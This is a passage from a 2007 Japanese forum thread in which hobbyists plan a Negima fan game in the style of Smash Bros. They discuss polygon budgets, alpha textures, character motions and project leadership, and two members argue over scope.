の動作テスト(歩くとか飛ぶとかダメージを受けるとか)が進んでいませんし
そちらを進めてからの方がいいんじゃないでしょうか?<本製作とか
あとちょっと気になったのですが、結局どのような形式でキャラデータの受渡
しをするのかが決まってませんよね?この辺のテスト(?)もしっかりやって
おいた方が後々困らない気もするし、どうなんでしょう?

804 :ダル痴。:2007/02/05(月) 22:51:32 ID:zTJWwLHv
このスレはチャットですか。

805 :名前は開発中のものです。:2007/02/06(火) 00:39:06 ID:pZtwwQVQ
いいから帰りなさい

806 :モツ ◆HhGCy3jtaE :2007/02/06(火) 01:35:36 ID:1BB+2pF1
>>◆57U1O5h1BM氏
http://gamdev.org/up/img/8840.png
とりあえず縮小してPNGにしてみた
左上から右下へ動画が進み、ループするようになっている

元々がローポリゴンなので素材としてはどうかと思うが
修正点などを探りたいので使用感等を知らせてほしい

>>鴨ネギ氏
モデルの読み込みが出来た時点で、こちら側の動作テストは終わったと考えている
とりあえず、アルファ抜きがうまく行っていない時点で「モツ」の役目は終わったと思う

また、スマブラ風という事で、作らなければならないキャラ数を考えると
ここからはシチミ氏に意見を聞きながら、ゲームの仕様を詰めて行き
なるべく早くモデル製作を進めたい

取り急ぎ決めたいのは
1.キャラ一体につき何ポリゴンを使用するのか
2.エフェクト分のポリゴンは、キャラと別のファイル扱いなのか、それともキャラ分に含めるのか
3.アイテムや武器などを登場させるなら、それも上記22と同じくどのように分類するのか
この3つの部分が決まりさえすれば、こちらの作業は出来そうな気がする

また、理想的な仕様を完璧に決めてからで無くても
一次開発(1vs1対戦の実現)、二次開発(複数vs複数)と段階ごとに作って行くなら
ある程度の検証も兼ねられて良いと思うのだがどうだろうか?

807 :シチミ ◆pBwYa/I7TY :2007/02/06(火) 02:12:43 ID:1oQGKnXF
キャラポリは背景をどのくらいにするかで決まりそう。
自分的には1000ポリ以下くらいがいいと思った。

エフェクトは別ファイルにすれば使いまわしが出来ると思う。
固有のエフェクトがあるとしても、別ファイルでいいと思う。

アイテム、武器に関してはどうしよう。アスナとか刹那とか固有の武器があるし。
まあ、スマブラそんなこと気にしないでいっぱいあるし。
作るとすれば、別ファイル。動きはどーしよう。みんな同じ動きでアイテムにモーションつける形になるかな?

仕様か…前名無しだった頃、企画と仕様もよくわからない子って呼ばれたしなー。

とりあえず、一キャラ好きなの作っていただきたい。動きは前回の基本動作。
マップはどうしよう。スマブラみたいに、浮遊の地面をいくつか配置するかな?
あくまでネギまならちょっと思いつかないけど。

スマブラって2段ジャンプとかするのだろうか?

あ、後ちょっと気になったんだけど、前のプログラムってビスタで動くのかな?
マイクロソフトさん優しいかな?

808 :朝倉和美 ◆ecegNbNqok :2007/02/06(火) 08:29:03 ID:JF1NtWRK
やっとこのスレに戻れました・・・
難しいですね〜プログラミング
あんまり扱えているようには実感できません・・・

さて、どの程度決定したのかは分かりませんが
スマブラ風にするのなら基本素手ですね
武器アイテムその他諸々が上から落ちてくるので
それを拾い各モーションへつなげる必要があります

固有武器を初期で装備させるならナルティメットヒーローのように
キャラ固有な多彩なモーションにする必要があります

とまぁ、言えるのはココまでですよ
さて、勉強に戻ります

809 :朝倉和美 ◆ecegNbNqok :2007/02/06(火) 08:33:36 ID:JF1NtWRK
連レスすいません
>>807 シチミ氏
空中足場・・・と言うよりは、屋根・・・ですかね?
何かの建物の上とか・・・と言うことで

2段ジャンプもスマブラは完備されてますよ

C++とVC++・・・同時に進めてるので参加が遅れるかもです
スミマセン

810 :モツ ◆HhGCy3jtaE :2007/02/06(火) 08:58:24 ID:1BB+2pF1
仕様や企画という単語を使いたく無ければ、計画書や設計図に置き換えてみてもいい
プロの現場ではないので、あまり気にしなくてもいいだろう

また、プログラムは専門外なので
「こうしてほしい」「ああしたほうがいい」という案があっても
具体的な作業量や内容などが想像出来ない

最終的にシチミ氏がアイデアを具体化できるかどうか判断し、選別してもらいたい
さらに言うなら、判断基準もシチミ氏なりの基準で決めてもらって問題ない
「普通なら」「一般的に」という選別の仕方で無く
作業の進めやすく実現可能な選択肢をシチミ氏なりに選んでほしい
迷う事があれば◆57U1O5h1BM氏やプログラマ氏にも意見を聞くのも良いかもしれない
もちろんこちらも出来る範囲でフォローするつもりだ

自分としては、過不足無い素材を用意する事に力を注ぐつもりなので
意思決定で混乱を避ける為にもプログラム面の決定権はシチミ氏に委ねたいと思う

811 :モツ ◆HhGCy3jtaE :2007/02/06(火) 09:07:14 ID:1BB+2pF1
それと可能ならば、ゲーム内でのアルファマップの実現をお願いしたい

エフェクトはもちろん、キャラに1000ポリゴン以内という事であれば、ほぼ間違いなくアルファ抜きを使う事になると思う
無理そうならエフェクトと背景は2Dにして、キャラへのポリゴン数の割当てを増やして欲しい

812 :シチミ ◆pBwYa/I7TY :2007/02/06(火) 13:12:07 ID:ZPAK4Hcc
アルファなのですが、サーフェイスの設定を忘れていただけなので出来ました。

DirectXにおけるアルファ講座ー
アルファ付のテクスチャー、ポリゴンは最後に表示させます。
最初に表示すると後ろのポリゴンが表示できなるなるためです。

……目の周りが!!
ちょっと時間かかるかもー

朝倉さん、スマブラについてありがとうございます。
カメラワークを指摘された名無しさん、今実装中です。

アイディアについてはみんなで一度話しあいたいですね。

813 :シチミ ◆pBwYa/I7TY :2007/02/06(火) 14:37:56 ID:ZPAK4Hcc
あ。
そうか。

アルファのポリゴンを別ファイルにしてもらえばいいんだ。
お手間ではなければ次回からお願いできますでしょうか?

814 :名前は開発中のものです。:2007/02/06(火) 17:25:03 ID:2ZKrWKpC
ていうか普通は
wiki+fc2.comサイトで
製作者がメインになって管理するだろうよ

815 :名前は開発中のものです。:2007/02/06(火) 18:05:13 ID:HpO1nJ4H
>814
普通がどんなんだかは知らないけど
別に814が開発したいって言うなら
サイト管理も開発もしてくれて問題ないよ?


816 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/06(火) 21:36:51 ID:B+PgnqXU
>>シチミ氏
お疲れ様です。カメラワークの実装楽しみにしてます。あ・・・ちなみに提案(?)
したのは名無しじゃなく自分だったりしますw >>792参照
武器に関してですが、やはり固有の武器は固有のキャラが使用した方がいいと
思うのですがどうでしょう?いやちょっと思ったのですが、例えばネギの杖を
明日菜が使ったり、明日菜の剣をのどかが使ったりするような感じはかなり違
和感があるんじゃないかなと。あと真名の銃を刹那が使ったりするのも違和感
が・・・。自分的には固有の武器とは別に共通で使用できる武器(アイテム)を
用意する感じのほうがいいんじゃないかなと。固有武器も常に使用出来るので
はなく条件発動で使用できる感じとか。

一応作業報告も。メタセコイアのシェア版でテクスチャ貼りに挑戦しているの
ですが・・・まったくうまく行きません。挫折しそうです;;;

817 :名前は開発中のものです。:2007/02/06(火) 21:48:16 ID:ADns5+6i
アイテムにパクティオカードを入れて特定時間 特殊武器(技)が使えるとか。
元々カードがないキャラにも回復や一時パワーアップなどするとかはどうでしょうか?


818 :モツ ◆HhGCy3jtaE :2007/02/06(火) 21:57:06 ID:1BB+2pF1
>>813
別ファイルという事だが
シーンファイルに重複するものが含まれていても良いんだろうか?
例えば、人物と付属物(髪、服など)は一緒にモーションを付けるので
別々に出力しようにも、nullやボーンがどうしても残ってしまうかもしれない
そういった場合は問題ないのだろうか?

>>814
半端なまとめサイトを作れば
スレの流れや事情を知らない者が、一方的な批判や厨設定を投下したり
暇つぶしに現れる荒らしに餌を与えるきっかけになる
さらに、しっかりとしたまとめサイトを運営するには
それを専門にするスタッフが必要になるだろう

個人的には外部に情報を置くならスレで製作する意味は無いと思うし
スタッフのみでサークルでも作った方が製作は楽だと思う

話し合い等はスレで簡潔に行うか、メッセンジャーやチャットを利用して
要点のみをまとめたテキストを何処かにUPしておけばいいだろう
また、ファイルの受け渡しはメールやレンタルスペースで事足りる

とにかく、限られた人数と時間の中で作業しているのだから
余分な手間は増やさない方が無難だと思う

819 :モツ ◆HhGCy3jtaE :2007/02/06(火) 22:55:50 ID:1BB+2pF1
>>816
テクスチャをうまく貼りたいなら一度簡単なモデルで練習した方がいい
紹介したサイトを読み飛ばさず、じっくり読んで行けばUVの概念はつかめると思う

人物にテクスチャを貼るならUVが恐らく必須になる
UVのコツはテクスチャを貼りたい箇所を一度に展開するのではなく
綺麗に表示させる為に、パーツや角度ごとに分割して展開する必要があり
よりテクスチャを貼りやすい様に考えることが重要

どうしてもマッピングが無理なら、LWO形式で出力したモデルをメールで送って欲しい
簡単なテクスチャなどを手本代わりにこちらで貼ってみる
ttp://www.kcn.ne.jp/~yoshimi/factmq/factmq03.html
出力はこちらを参考にするといい

何にしても3Dは要領を得るまで忍耐力の勝負になると思う
自動車の免許を取得するような感じでゆっくり進めるといいだろう

820 :朝倉和美 ◆ecegNbNqok :2007/02/06(火) 23:15:00 ID:JF1NtWRK
>>818
専用のホームページ・・・と言うわけですか
ならビルダーありますし、暇な時間を利用して作ってみますがどうでしょうか?

あまり出来の良いものは出来ませんが、ビルダー使用の良い機会です
参加者の皆さんから了承が取れれば制作に移りたいと思います

捨てアド乗せるので、タイトルに使用コテとトリップを
多数決と言う形をとりたいので本文に専用サイト運営の賛否を書いて送信してください
その際に素材、アイデア・意見等もありましたらお願いします

お時間とらせますが、ご協力を願います
結果は追ってこのスレにて報告いたします
asuna_hime!infoseek#jp
!を@に、#を.に変換

>>812
小学3年の頃でしたか・・・ニンテンドー64のスマブラを友人とやり込みましてね
キューブのスマブラDXもプレイしましたので、スマブラの基本操作については
私に聞いていただければ

他にも経験が有る方等いらっしゃると思います

821 :モツ ◆HhGCy3jtaE :2007/02/06(火) 23:21:00 ID:1BB+2pF1
>>816-817
盛り下げるよう悪いが、固有要素、変身要素を全て採用する訳にはいかないと思う
固有攻撃があれば、その攻撃専用のモーションと
登場キャラ全員分のダメージリアクションが必要になる

変身すれば、変身後のモデルとモーションを新規に作る必要があり
登場キャラ全員分のダメージリアクションを作らなければならない

キャラを何人登場させられるのかわからないが
31人+αのキャラを理想的に仕上げるとしたら
どれだけ時間が掛かるか想像してみて欲しい

まずはゲームとして遊べる状態を目標にして製作し
アイディアは段階ごとに実現してゆく方が現実的だと思う
開発途中で追加するのが困難な案は
残念ながら切り捨てる事も必要になるかもしれない

強制する訳ではないが
ある程度期間を決めてのブレインストーミングという事にしておかないと
開発に入るタイミングを見失い、まとまる事も無く妄想の羅列にしかならないだろう
開発に入ってからも、一次開発の期間→二次開発への会議期間→二次開発期間
といった様に期限を決めておいた方が取捨選択しやすく
開発が止まっても体裁は保てる気がする

製作を急ぎすぎて必要な要素を削ぎ落としてしまう事は避けたいが
作業スピードやスタッフ各々の状況が変わる事も鑑みて、規模を制限する必要があると思う

822 :名前は開発中のものです。:2007/02/07(水) 00:00:40 ID:7GFjAZdH
スレ見ててふと思ったので・・・
スマブラでは固有武器による攻撃は特定のコマンドででるか
最初からその武器を持ってるとかだったような・・・
フォックスとかリンクとかサムスはそんな感じですよね?
64版しかやったことないんでなんとも言えないですが・・・

製作がんばってください!俺は何もできませんが応援してます!

823 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/07(水) 00:12:29 ID:IdOaBu6b
>>モツ鍋氏
えっと・・・各キャラに対する動作ってどの位を考えてます?通常動作である
立ち・歩き・ジャンプ・ガードは必須。ダッシュとかもいるのかな?攻撃
動作はボタンにより変化するとして問題はやられ動作。このやられ動作は
共通動作として、弱・中・強とか吹っ飛びやられ動作を設定し、各攻撃動作
にあわせてこのやられ動作から動きを選択する方式ではダメでしょうか?
例えば明日菜の斬り動作に対してそれ専用のやられ動作を用意するのでは
なく、斬り動作に対してはやられ強動作で対応みたいな。
それと・・・登場キャラクターですが、1キャラも出来上がっていない状態で
先を見すぎるのはよくないと思うのですが;;;登場キャラをすべて挙げて
攻撃動作やダメージ受け動作を羅列しあれもこれも必要だって考えていく事
の方が現実的ではないですし。自分的にはキャラを徐々に増やしていき、そ
の都度必要な動作があれば増やしていく方が良い様な気がします。

それともう1点気になった事が。攻撃動作って全員同じモノを予定してます?
明日菜もこのかもネギも刹那も攻撃はパンチとキックのみみたいな・・・。いや
キャラが変わればモーションを設定しなおす(?)のは基本だと思っていたん
ですが、「変身後のモデルとモーションを新規に作る必要があり 」をみて
あれ違うのかな?と思ってしまいました。

824 :モツ ◆HhGCy3jtaE :2007/02/07(水) 19:58:24 ID:o5MLe+Hq
>>822
応援ありがとう

>>823
一応、自分は2ch内外で共同製作を経験しているし
格闘ゲームを作った(ツクールでだが)上で書き込んでいる

基本となる1モデルを1週間で仕上げ、1キャラに20前後のモーションを入れると仮定
1日に1モーションを仕上げたとして約1カ月
モーションやモデルを使い回したとしても、髪型、体格、衣装が変われば
新規で作り直さなければならない要素が出てくるだろうからそれも加算
特殊動作があるならそれも加算する
これらを登場キャラ数でかけ算したものが大まかな製作期間になる

だが、生活上の事情などからスタッフの全員が現状を維持できる保証は無く
一時離脱や脱退などの事を考えると長期の製作は非常に困難

こういった、掛かるリスクを考慮した上で話を進めるならいいが
自分勝手に「あれも」「これも」と案を取りいれても、実現するのはスタッフ自身
現状ではプログラムはシチミ氏にお任せするしか無く、素材は自分が用意するしか無い

理想や要望を打ち込めば素材やプログラムが湧いて出る訳じゃないし
「ネギまなら」「スマブラなら」で基準を定めるのでは無く
自分達で作れる物を想像するべき
スタッフを名乗るなら、なおさら意見には責任を持って欲しいところ

ネガティブな事を書き込んでいる様に見えるかもしれないが
>>821と同様に「現実可能な事からやろう」と言っているだけの事
経験上、最低限動作するゲームをまず作る方法を選ぶのが賢明だと言っている

計画を頓挫させたくないからこそ、現実を見据える必要があると思うがどうか?

825 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/07(水) 21:18:29 ID:1yicTGWI
>>824
えっと・・・ここでムキーな感じの返答をするのも大人気ないなぁ〜と思っている
訳ですが、あえてそんな感じもいいかなと思い返答します。あ、そういうキャラ
だって事にしておいてください。
まずココ
>一応、自分は2ch内外で共同製作を経験しているし
>格闘ゲームを作った(ツクールでだが)上で書き込んでいる
自分もそうですが何か?ってかわざわざ書く必要もない気がしますよ。こうい
う企画に参加しようとしている人ならまぁ当然って感じですし。
次に
>基本となる1モデルを1週間で仕上げ、1キャラに20前後のモーションを
>入れると仮定(長いので省略します)
これは824が1人で作った場合の制作期間ですよね?もしかして登場するキャラ
はすべて1人で作る気なんでしょうか?随分前に書きましたが、基本フォーマ
ット的なものを公開して、他の参加希望者が参加できるような状態にしようと
は思っていないんでしょうかね?それとスタッフ全員と言っていますが、現状
のやり方で他に参加者が集まるとでも?プログラムに関してもソースを公開す
る等しなければお手伝いも出来ないんじゃないんでしょうかね?なんていうか
限られたメンバーだけで作りたいならココではなく他所でやるべきなんじゃな
いかと思うのですがどうか?それと「あれ」も「これ」もと案を取り入れたつ
もりはないんですが。自分に決定権があるとは思ってませんし。ってかどの辺
の文章でそう思ったのかを逆に聞いてみたいw823で書いたのはあくまでもキャ
ラクターの作り方というか、こういう仕様にしてみたらという提案だし・・・;;;

826 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/07(水) 21:19:18 ID:1yicTGWI
長くなったので別けましたw

>理想や要望を打ち込めば素材やプログラムが湧いて出る訳じゃないし
>「ネギまなら」「スマブラなら」で基準を定めるのでは無く
>自分達で作れる物を想像するべき
>スタッフを名乗るなら、なおさら意見には責任を持って欲しいところ
上にも書きましたが当たり前の事をわざわざ書かなくてもいいし;;;理想や要望
を打ち込んでゲームが出来るなら、ゲーム会社も存在しないw
次に自分達で作れる物と書いてありますが、では逆にお聞きしたい。
「なんなら作れるの?」
「その作れるものの具体的な仕様は?」
「上で色々と計算しているみたいだけど、具体的なスケジュールは?」
現状仕様も決まっていない訳だし、方向性はプログラマーのシチミ氏が「スマ
ブラ風」と示している。それに対して「こういうのはどうか?」という意見が
上がるのは当然。だってそういう場所でやってるんだから。それと自分の経験
上、始めに狭く浅い企画にしてしまうと結局狭いままで終わるんだよね。
なんかとりあえず動かそうって言って作るのも良いけど、結局動かしてみてあ
れも足そうこれも足そうになるんじゃないの?
それと現実を見据えるというのであれば、この状況を把握した方がいいんじゃ
ない?だって31人以上登場する作品の同人アクションゲームのキャラデータ
を参加者も居ない状況でどうやって実現させるの?
毎度の事だけど、結局具体的な案はひとつも提示してないんだよね。
キャラクターの動作設定とかシステム案とか。
まぁこんな感じで、大人気ない返答でしたw

827 :名前は開発中のものです。:2007/02/07(水) 21:53:51 ID:dQRS4hKD
鴨ネギまで読んだ
というかちゃんと改行しろ
読む気もしねぇ

828 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/07(水) 22:01:24 ID:1yicTGWI
もう一発、連投スマン。ちょっと上の方を読み返してみたんだが・・・

812でシチミ氏が「アイディアについてはみんなで一度話しあいたいですね。 」
って発言してるし、810で「最終的にシチミ氏がアイデアを具体化できるかどう
か判断し、選別してもらいたい。さらに言うなら、判断基準もシチミ氏なりの基
準で決めてもらって問題ない 」って自分で発言されているみたいですが;;;
しかし824では「勝手なこと言うな」と取れる発言をしている。どっちなの?

それと「自分としては、過不足無い素材を用意する事に力を注ぐつもりなので 」
というのはゲームの仕様上必要な素材は用意しますって事ですよね?固有動作が
増えたら実現するのに時間がかかるってのはどうなのよ?
まぁこんな感じで、大人気ない追記でしたw

829 :名前は開発中のものです。:2007/02/07(水) 22:43:29 ID:AS+nxHRb
とりあえず読みにくいな

830 :モツ ◆HhGCy3jtaE :2007/02/07(水) 23:15:31 ID:o5MLe+Hq
>>826
キミはシチミ氏や自分がゲームを作る為のコストを考えて発言したのか?

以前にも述べたが、自分のパート以外の部分は、作業スピードや実行可能な範囲等が不確定要素であり
作業に対するシチミ氏への負担はどの程度の物なのか、少なくとも現段階では自分に予想がつかない
そもそも、どの程度の期間シチミ氏が企画に係わってもらえるのかわからない

それを踏まえた上で、小規模なゲームを一次開発としての案を挙げるなら
1.登場キャラを2〜4人に限定
2.特定動作以外のエフェクトとモーションは使い回し
3.衣装は基本的に全員固定デザイン、色違いやテクスチャ貼り替えのみなら可
(モーションを共有するため)
4.ゲームの根幹部分のプログラムはシチミ氏に一任
(仕様の途中変更でプログラムが振り出しに戻る様な事態を防ぐため)

「現状では」実製作可能で正式なスタッフが二人しかいない訳だが
このくらいの規模なら、自分一人でも上に挙げた素材は2、3ヶ月でなんとかなると思う
企画が動いていて成果を出せば、新規の参加者も望める
うまくゲーム作りが進む様なら、規模を広げる為の手が他にもある

831 :モツ ◆HhGCy3jtaE :2007/02/07(水) 23:16:26 ID:o5MLe+Hq
また、全キャラと全てのプログラムを二人でやるとは書いていないし
「自分一人でやるとしたら」という文は、あくまでも比喩的表現に留めているはずだ
サイクルを経て規模を大きくしていけばいいと再三言っている

意見を遮られて気に入らなかったのか、スタッフの気分に浸るのに飽きたのか知らないが
レスでは事実を言ったまでだし、議論中の意見が肯定されるも否定されるも基本的に等確率であり
自分の意見が通らない事も当然あり得る事
こちらに明確な非が合ったとは思えないし、突然癇癪を起こされても困る

レスのあらすじを無意味に追って自己満足するよりも
現実可能で、狭く無く、浅く無い具体案を、キミの方こそ挙げてもらいたい

今までのレスを見る限り、キミは企画厨の枠を出ていないと思うのだがどうか?

832 :シチミ ◆pBwYa/I7TY :2007/02/07(水) 23:18:37 ID:BxTKIuZc
あう。
カメラワークですが、三角比にアスペクト比をかけるのを失念していまして、
「あれー?おかしいなー?三角比ではあってるはず!この座標が、カメラ端のはずだ!!」
ってバカみたいにプログラムとにらめっこしてました。

発見したとたん疲れたのでここのぞきにきました。

きちんと仕様を決めた方が良さそうですね。
あ、これも自分の考えなのでバッサリ否定しちゃっていいですよ。
自分所詮趣味で2本、ゲーム系学校で2本くらいしかゲーム作って無いので。
キャラクターの数ですが、いきなり31人+αを作るのは無謀と思うので主要メンバーくらいの完成を目指すのが言いと思う。
モツさん一人で作るのが苦なら、他の人にも手伝ってもらってもいいと思う。
まあ、Lightwaveが無いとキツイと思いますが…。

プログラムは整理したらオープンしても自分はいいと思ってる。
まあ、多分誰が見ても、『はっ!この程度か…。』って落胆の顔が目に浮かびますが…。
まあ、前にも言ったけど、キャラのモーションのプログラム的な設定は自分がそれ用のツール作ろうと思っています。
考えでは格ツクみたいなの。それを公開しようと思う。
仕様じゃねえ!!

後背景を作ってくださる方いないかなー?
スマブラ自分GCのを寮生活時代に同部屋の人とちょっとだけやっただけなので、スマブラっぽい背景って思いつかない。
これもモツさんが作るとなるともっと大変だろうしね。

キャラクターの動作。
立ち、歩き、走り、ジャンプ、しゃがみ、通常攻撃(Aボタン)、必殺技(Bボタン)、ガード、投げ。
ダメージポーズはひとつ。
とりあえず。っというか後思いつかない。
ルールはふっとばしKOでいいかな?

自分たちはおそらくネギまが好きな人たちが集まったと思います。そう思いたいです。
愛があれば完成でるはずです。みんな仲間です。いっしょに頑張りたいです。

833 :シチミ ◆pBwYa/I7TY :2007/02/07(水) 23:22:34 ID:BxTKIuZc
あれ?タイミングはずしたっぽい。
恥かしいです。

でも大体考えてることは一緒かな?
そう思いたい。

834 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/07(水) 23:36:50 ID:1yicTGWI
なんだか言い合いの泥沼になりそうなのですが一応。

コストって?なんていうかさ・・・このゲーム作りたいなぁとか参加したいなぁ
って思ったから参加してるんでしょ?この企画を商品化してとか考えるなら
コストって考えもあるかもしれない。でも有志で作ってくモノに対してコスト
って考えはあっていないような気がするがどうよ?
それと登場キャラに関しては、誰も最初から全部つくれなんて書いてないで
しょ?元々1キャラの製作にかかる時間×人数と提示したのはキミだしね。
で上に書いてあるようなモノ(1〜4)で作りたいならそうしたらいいんじ
ゃない?俺はダメとは書いてないし。そもそも企画としてこういう案はどう
だろう?って書いただけだしね。それを否定してるのはキミだし。否定する
事が悪いって言ってる訳じゃないよ。現状企画も仕様も決まっていない状態
なんだから色々アイディアを出し合えばいいって事ね。それと俺が案を取り
入れたってのはどうなったのかな?

それとサイクルを経て規模を大きくするというのは単純に「キャラを増やす」
って事じゃないでしょ?ゲーム性自体を膨らませていくという事なら、今ア
イディアを出していく事は悪い事じゃないでしょ?

事実に関してはこちらも同じ。キミが出来ないだの作業量が大変だの駄々こね
てるだけにしか思えないんだけどそれはどうよ?

それと・・・ゲーム上での案は上げてるよね?ダメージ受け動作の共通化により
今後追加されるであろう技に対応していくとか。例えばだけど「ネギのくし
ゃみで服が脱げる」とかいう特殊動作には対応できないけど、斬るとか殴る
とかいう動作に対するやられ動作は共通化された動作で対応できると思うし。

って言うかさ、結局どうしたいのかが判らないんだよね。
とりあえずキミとシチミ氏だけで仕様を決めて進めていきたいって事?

835 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/07(水) 23:41:34 ID:1yicTGWI
>>シチミ氏

お疲れ様です。お疲れの処こんな感じでスミマセン;;;
頑張ってください(って今はこんな事しか言えません)

836 :モツ ◆HhGCy3jtaE :2007/02/07(水) 23:45:39 ID:o5MLe+Hq
>>シチミ氏
自分は多少軋轢があってもかまわないよ
所詮、ここは2chな訳で今までが静か過ぎただけ

背景については一つ案があるのだが
アニメのOPで出てくる学校備品の机ステージというのはどうだろう?
机を一つ作ればコピーして配置するだけなので手軽に作れる
少々安易かもしれないが

それとモーションについてだが下記のソフトをドングル付きで安く譲ってもらえた
http://www.autodesk.co.jp/adsk/servlet/index?id=7065572&siteID=1169823

今はチュートリアルをやっている所なので全体はつかめていないが
下準備さえしっかりやっていれば非常に使えるツールの様で
このソフトが主に扱うFBXフォーマットは、Xファイルの様な業界標準のファイルらしい
SDKも用意されているので、良かったらFBXの運用も考えてみて欲しい

LWへマージしてレンダリングするのが正式な使い方なので
LWSからテキスト形式のX出力でもこちらとしては問題無いが

>キャラクターの動作。
了解です
とりあえず、素体キャラと基本ボーンの構築を急ぎたいと思う

837 : ◆57U1O5h1BM :2007/02/08(木) 00:09:24 ID:jaCZ6hjj
319 = 鴨ネギ だよね。
前もそうだけど、あんまり荒れるような発言はしないほうがいいと思う。

結局のところ意見は賛否両論だと思うから、
ここはリーダーの判断に任せるほうがいいんじゃない?

現状、モツ氏がリーダーになるのが妥当だと思う。

838 :名前は開発中のものです。:2007/02/08(木) 00:10:38 ID:vVWZENU8
あれだ。
キャンプとかでカレー作るときに、水の分量を最初から計算して調整する奴と、
作ったことないけど、火にかけてれば蒸発するんだから、多少多くても問題ない。
と、作る奴。
で、たいてい水分が蒸発するまで待てなくて、ルーが足りなくて水っぽいカレーの
出来上がり。

作った事があると、作業量がわかって、デッドラインを見極められるんだけど、
完成させた事が無いと、それに向かって突き進む。
投げずに完成させてくれ応援してる。

839 :モツ ◆HhGCy3jtaE :2007/02/08(木) 00:13:58 ID:tZlywXd6
>>鴨ネギ氏
とりあえずやめないか?
くだらないやり取りをする時間が勿体ない

ぶっきらぼうなのと唯物論的なのは元来の性格だが
ある意味こちらの落ち度かもしれない、それは詫びる
出た案も朝倉氏が後にまとめてくれるだろうから、拡張要素として留めればいい
もっとも、レスでそうすると書き込んでいるが

ただ、後腐れを残さない様に、自分のわだかまりをぶちまけるなら
実製作に携わっている状態でもないのに、意見だけ出す人間に我慢出来ないという事だ
「このキャラにはこういう技が欲しい、だから自分が作る」
「こういうシステムは必須だと思う、だから俺が作る」

こういう人なら大歓迎だ
作業が遅かったりクオリティに問題があっても全く気にしない
こちらからも最大限の支援はするし、素体なども提供したい

だが、実際のキミはどうだった?
スタッフ入りはいわゆる「誘い受け」、その上何かをやるという明確な意志もない
作っている「ネギ」について「これをつかいたいor使ってくれ」といった意思表示はあったのか?
ソフトの使い方を聞きに来て、弱音を吐いただけだろう
自分も清廉潔白ではないが、キミのスタンスはいまいちハッキリしていない
本当に一緒に地獄を見る覚悟があるのか?

ここの所、スレにスタッフしか書き込んでいない訳をキミは理解しているのか?
本来誰もが書き込みを許されているスレがこれほど静かなのは
幾ばくかの期待を自分達に掛けてくれているからではないか?

これだけスレ住人がレスを自重してくれているのに、なぜキミだけが妄想を書き込むのか?
スタッフと名乗れば要望が通るなら、このスレはコテハンだらけになるだろう
参加する意味を少し考えて欲しい

840 :モツ ◆HhGCy3jtaE :2007/02/08(木) 00:19:13 ID:tZlywXd6
こういった様に、「ぶちまける」人物はリーダーに相応しく無いよ
この状況で戻って来たシチミ氏こそリーダーに相応しい

自分はスキルを高める事が最大の目的だから
シチミ氏の方が「ネギま」の世界観や精神性を保護してくれると思う

ただ、ゲーム内でのグラフィック面の責任はしっかり取ろうと考えている
少なくとも自分の係わった部分に落ち度がないように務めたい

841 :名前は開発中のものです。:2007/02/08(木) 00:21:03 ID:k1hdy6zK
モツ氏分かってるね
期待してますよ

842 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/08(木) 00:26:27 ID:ebU2YgkW
>>837
まぁそうですが・・・それが何か?<元319
ってか荒らすような発言をしてるつもりはないんだけどねw

前の事を今更言ってもしゃあないけど、手動かして作業してるんだしそれなり
にこの企画に対しての「思い」がある訳なんですよ。でどうやったらより面白い
と思える(自分だけかもしれないが)方向にもっていけるのかを考えてる訳。
前回で言えばキャラのサイズとかね。背景終わったらキャラ描くつもりだった
しwまぁその案に対して手を動かさない人間に「無理」って言われてもねぇって
感じだったわけ。まぁ結局プログラマーさんは返事もないまま消え、キミは当人
だったにも拘らず、書き込みを見ても返事書かなかったわけだしねw
まぁ今更だけど

今回の事も特別変な事を書いてるつもりはないんだよ。
ゲーム製作を進めていく上での意見が合わないだけ。まぁ顔も判らないモニタ
ーの向こうの人と意見をすり合せていこうと思ってもなかなk難しいんだけど
ね。それよりさ、リーダーはシチミ氏だと思うんだがどうよ?

843 :シチミ ◆pBwYa/I7TY :2007/02/08(木) 00:30:43 ID:WeIWZFRf
あ、忘れてた。

アルファのポリゴン後出し表示の件だけど。
ボーンあっても大丈夫だと思う。
やってみないとわからないけど。

もしかしたら、原点にアルファポリを置いて、目安になるポリにプログラム上で持っていって、
その目安ポリのモーションの行列をアルファポリに乗算すれば動いてくれるかもしれないけど…

この辺ちゃんと調べないとわからない…。
もしかしたらマテリアルを貼り付ける順番を制御できるようなプログラムにすればいいのかな?
…でもどのファイルがアルファか見分ける方法を考えないといけないし…。

って事でアルファポリはもちょっと考えてます。現状好きに作ってくださって大丈夫です。

リーダーは全てに多少なりとも知識があり、すべてを管理できる人が望ましいと思う。
その点自分はプログラムと絵を描くことしか能が無い子なので適任では無いと思う。
でも、誰かがやらなければ収まらないかもしれませんが…。

844 : ◆57U1O5h1BM :2007/02/08(木) 00:37:10 ID:jaCZ6hjj
>>842
>今回の事も特別変な事を書いてるつもりはないんだよ。

となるとまたこんな事が起こる可能性があるってことですか。

845 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/08(木) 01:03:36 ID:DNzfSoWF
>>モツ氏
なら辞めましょうw でもやっぱり納得はいかないかな。

「実製作に携わっている状態でもないのに意見だけ出す人間に我慢出来ない」
のに「出た案も朝倉氏が後にまとめてくれるだろうから、拡張要素として留
めればいい」とは?作業をしないヤツは意見を言うなと言いながら、でも案は
拡張要素として取り入れるの?なんか矛盾してない?

それとココでの製作は「誘い受け」という事ですが、誘い受けとは?
モツ氏あるいはシチミ氏が認めて誘われたら製作者という事になるという事?
それってやっぱりココでやる企画じゃないんじゃないかなと思うわけ。「こう
いうゲームにしようと思うけど参加しない?」ってスタンスじゃないの?で参
加したいと思う人が其々発言し参加していくんじゃないの?

自分の事で言えば最初に「お手伝いがしたいけど3Dはやったことがない」と
いう発言から入って「でもやっぱりお手伝いしたいから3Dに挑戦してみる」
という流れできました。今作ってる(?)ネギは自分なりのテスト。実際にど
んな事を出来るのか知りたいし、実際に手伝いが出来るようになるかも判らな
かったから。弱音は吐いたねぇ〜・・・でも弱音が本題じゃないし;;;
まぁ書いても仕方ないけどテクスチャーは貼れました。弱音を吐いた時も貼れ
てはいたんだけど、ゆがみが修正できない感じでへこたれてただけ。
それと一緒に地獄を見る覚悟があるのか?って・・・作りたいという意思が続く
